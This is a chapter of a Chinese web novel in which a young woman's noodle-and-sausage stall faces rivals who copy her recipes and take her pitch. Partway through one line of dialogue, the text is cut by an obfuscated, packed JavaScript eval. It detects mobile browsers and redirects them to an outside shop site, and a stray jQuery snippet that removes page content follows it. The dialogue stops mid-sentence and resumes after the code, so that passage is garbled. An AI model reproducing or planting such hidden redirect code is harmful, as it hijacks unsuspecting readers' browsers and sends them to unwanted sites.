一连三日,苏意安的生意都不错,就连最少的那日也赚了九十个铜板。
客人虽觉酱肉汤面也好吃,可到底比不上没见过的香肠。
尤其是第一日吃过的客人,逢来就问苏意安这香肠汤面何时再上一次。
“要我说整个镇上就你家这汤面最香。”食客捧着面碗坐在不远处的石头上,一口面一口馍吃着。
“可惜没赶上第一日的荤面,听说那肉片才叫一个香,还滋滋冒油呢。”
这话有些许的夸大成分,苏意安一边舀着面汤一边纠正这话,“瞧您说的哪有那么夸张。”
“我们可都等着呢,你这香肠要是单独卖,可得给我们留出来。”
“你们到时候来就是。”苏意安应和着食客的话。
这几日摊位前问香肠的人多,苏意安每日都会买些猪肉回去,为的就是多做些香肠出来。
连带着贺母在家中都不曾歇功夫,每日就是清理猪肠弄肠衣,这香肠工序不复杂,就肠衣费工夫。
如今家中屋檐下已经挂了十来节香肠,就等着再风干两日拿去卖。
这边买不到的人多了,不乏有人去镇上集市问,卖肉的摊位没有就去食肆问,找了一圈都没有找到,那人最后竟去了明月酒楼。
“小少爷听人说这香肠不错非要买回来瞧瞧,这两日我将咱们怀安镇都寻了个遍就没瞧见那东西,你说这事闹得。”来人正是镇上绸缎庄的管家。
任掌柜给他沏上茶水,说道:“那摊位不卖香肠了?”
“可不是,说什么还没做出来,得再等几日,你说就一个肉做的东西还让人等着,这不是纯心吊着人吗?”管家早就问过苏意安,得了这东西得再等几日的消息后总觉得是她们这小摊贩故意的。
任掌柜也觉得她们是在拿乔,猜着苏意安她们定是知道这前来问的人是镇上有名商户的管家,这才想趁机多捞一笔。
“那香肠我倒是尝过,做出来倒是不难,若您不急那给我们明月楼几日,等做出来了给您送过去。”任掌柜也不想丢了这到手的买卖,他主动揽下活道。
“若真如此,那我静待佳音。”管家与任掌柜也算是老熟人,如此二人就定了下来。
明月酒楼后厨中,小伙计很是不解,他挠了挠头一个劲的想刚刚掌柜嘱咐的话。
三日之内把香肠做出来,只要能做出来就给他们十两银子。
“师傅,您说掌柜的这什么意思,还有那邱管家,明明两边都是等,咋就不愿意再等等那边。”
那边是谁,李大厨哪能不明白。
“还能为啥,别说绸缎庄的小少爷了,就是邱管家都不会去吃街边小摊上的东西。”李大厨把锅中肘子盛出,在上面撒了一把风干后的桂花。
再者那邱管家拉不下脸面,平日都是别人求他,他少有主动去哪买东西求别人的时候。
结果却在卖汤面的小摊贩那受了挫,不仅没有买到香肠竟还被人放话再等几日,这哪能不气。
“你赶紧端上去。”李大厨把人撵了出去,自己坐在凳上忍不住的想。
就这肠衣,他都琢磨了小一月了,却还没琢磨出来,如今掌柜的下了命令只再给他三日,若三日他拿不出东西交代,别说他了连任掌柜都得丢了面。
这事不仅关乎他还关乎着明月酒楼。
做厨子这么多年,李大厨第一次动了歪心思。
这事成也得成,不成也得成。
下工后,李大厨将小伙计叫到家中,给他递上去一个包袱。
“师傅,您这是?”伙计扑腾一下跪在李大厨身前,哭丧着喊道:“师傅,您别赶我走。”
“哪能啊,想哪去了。”李大厨踢了他一脚,不紧不慢安排着:“你是我徒弟,有我一口就有你一口,如今在这紧要关头你我得一条心,若此事办不成,你我怕是...”
李大厨故意往严重的说。
小伙计吓得够呛,连滚带爬到他脚边,忙应道:“师傅让做啥俺就做啥,俺啥也不问。”
李大厨要的就是他这句话,他将人从地上扶起来又塞给他上一两银子,语重心长道:“明日你就去永阳村,打听打听那俩人家住在何处吗,看看她们的香肠到底是如何做的,切记不能让人发现。”
事情到了如今这地步,李大厨恨不得让他偷点现成的香肠带回来。
“师傅,您就放心,我这次一定把肠衣方子给您带回来。”伙计举着手发誓道。
-
随着天愈发的冷,镇上卖汤面和混沌的摊位也多了起来。
有的人甚至将摊位开在了苏意安她们对面,还卖一样的手擀汤面。
不仅都用可骨汤,甚至那荤面里的肉酱尝着都没太大区别。
而且对面的摊位还有桌凳,客人有坐着吃饭的地,所以客人多去了那边。
苏意安的生意一下子被瓜分了去,今个带来的面都没能卖出去一半。
“苏姐姐,你看他们。”贺凝文在炉边烤火,眼睛却不忘盯着对面。
见以前来他们这的食客坐在对面吃面,她心中那叫一个没滋没味。
苏意安放下手中的活,也不再往锅中添水。
做生意就是如此,生意好时就会有人眼热,再说这汤面又是最简单的吃食,有手就能做的买卖。
还有那肉酱,也就是把猪肉丁煸炒再和老酱放在一起,都是一吃就明白的东西,被人学了去是迟早的事情。
再说对面的人,人家本就住在镇上,这些桌椅搬过来一点都不费事,不像他们连个铁锅、炉子弄来都费事,只是把摊子开在对面还用一样的东西抢生意,这法子实在让人恶心。
“若明日生意也是如此,咱们就不来这摆摊了。”苏意安见对面的人故意冲她们这吆喝,深思后道。
“不来这,那咱们去哪啊。”贺凝文不觉得镇上还有更好的地方,若是有怎么苏姐姐不一开始就去。
苏意安看了贺允淮一眼,她不确定贺允淮愿不愿意去那里。
毕竟这个世道摆摊需要男子在摊位上,若他实在不愿去那她只能另外想法子。
“也不急,先看看明日生意如何。”苏意安收回视线。
后面再没客人往她这摊位来,苏意安便早早收了摊,与其在这浪费时间不如早些回家去。
东西仍旧是放在那老妇家,还是两文钱。
东西搬进院后,那老妇一把将门关上。
“婶子,您这是?”苏意安警觉起来。
“我今个在旁边都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211092|136065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瞧见了,婶子提醒你们一句,这买卖趁早歇了吧。”老妇劝道:“那马家今个抢你们生意,明日可能就找人来砸你们摊位。”
苏意安蹙起眉头,“他们怎么敢?”
“这有啥不敢的,人家两兄弟年轻力壮的,你看看你们这怎么干得过他们。”老妇打量他们三人一眼,摇了摇头。
贺允淮想要反驳,可事实如此,他这身子那些人一拳头下来他就得趴下。
苏意安谢过了老妇好意,言语中说自己再考虑一下,但心中已经定了念头。
回村的时候,苏意安专门往镇上集市去了一趟,买了个烧鹅回来。
这两日家中饭桌上虽有荤腥,但也不是这种大块大块的肉。
想着这几日也挣了不少铜板,买只烧鹅回去大家尝尝也不算什么。
因回去的早,走的也比往日快,到家时背篓里的烧鹅还热着。
“今日是什么好日子。”贺母接过烧鹅随口一问。
贺凝文哎了一声,她掂了掂手中荷包,悻悻道:“最后的好日子了。”
荷包明显没有以往那么鼓囊,连贺兴晨都瞧出来今日没怎么挣到钱。
“做生意就是如此,有亏有赚。”贺母嘴上安慰着,心里也难受的很。
刚赚了几日钱,有了点盼头,一下子突然又没了,这谁受得了。
“只是没以往挣得多,又不是没挣到钱。”苏意安说道,“再说咱们还有香肠呢。”
只要香肠没被学了去,他们就能靠着这独有的东西多挣些钱。
“那再多买些猪肠回来,上次那些都快弄完了。”贺母把饭端上了桌,又把烧鹅拆成块状。
她今个烙了饼,金黄金黄的,现下在上面抹上肉酱再夹一块烧鹅,香得嘞。
一顿香喷喷热热乎乎的饭食,抚平了大家的情绪。
翌日,苏意安专门起早了些。
到达镇上时,却发现自己一直摆摊的地方已经被那家人摆上了桌凳。
不用想就知道他们打的什么主意,苏意安懒得同他们理论讨公道,毕竟这地方谁都能摆摊,连摊位费都没有,谁来得早谁用就是。
“苏姐姐,这可怎么办啊。”贺凝文急的都要哭了,那些人比她想的还要过分。
抢生意就算了,现在都抢了地方。
“咱们今个就不在这了,换地方。”苏意安平静道。
惹不起躲得起,眼下在人家的底盘上,为了那几十个铜板实在没有必要犯险。
说完她拍了拍贺允淮的脊背,用商量的语气问道:“咱们去书院附近摆摊可好?”
书院里学子众多,几文钱对有些学子来说不算什么。
再者苏意安已经有了新的主意,有些吃食对扛布袋的人来说贵,但对有钱人家的小少爷来说也就是洒洒水。
苏意安想靠那吃食挣钱,就得有目标顾客。
贺允淮没想到她会先问自己的意见,想也没想便回了声好。
回完后他才反应过来,她是怕在书院摆摊他会丢了脸面,这才问问他的想法。
毕竟被同窗瞧见,可是会遭嗤笑的。
贺允淮心头一热,她想的很全面,但独独忘了他从未在怀安镇上过学堂,一直以来都是在府城书院。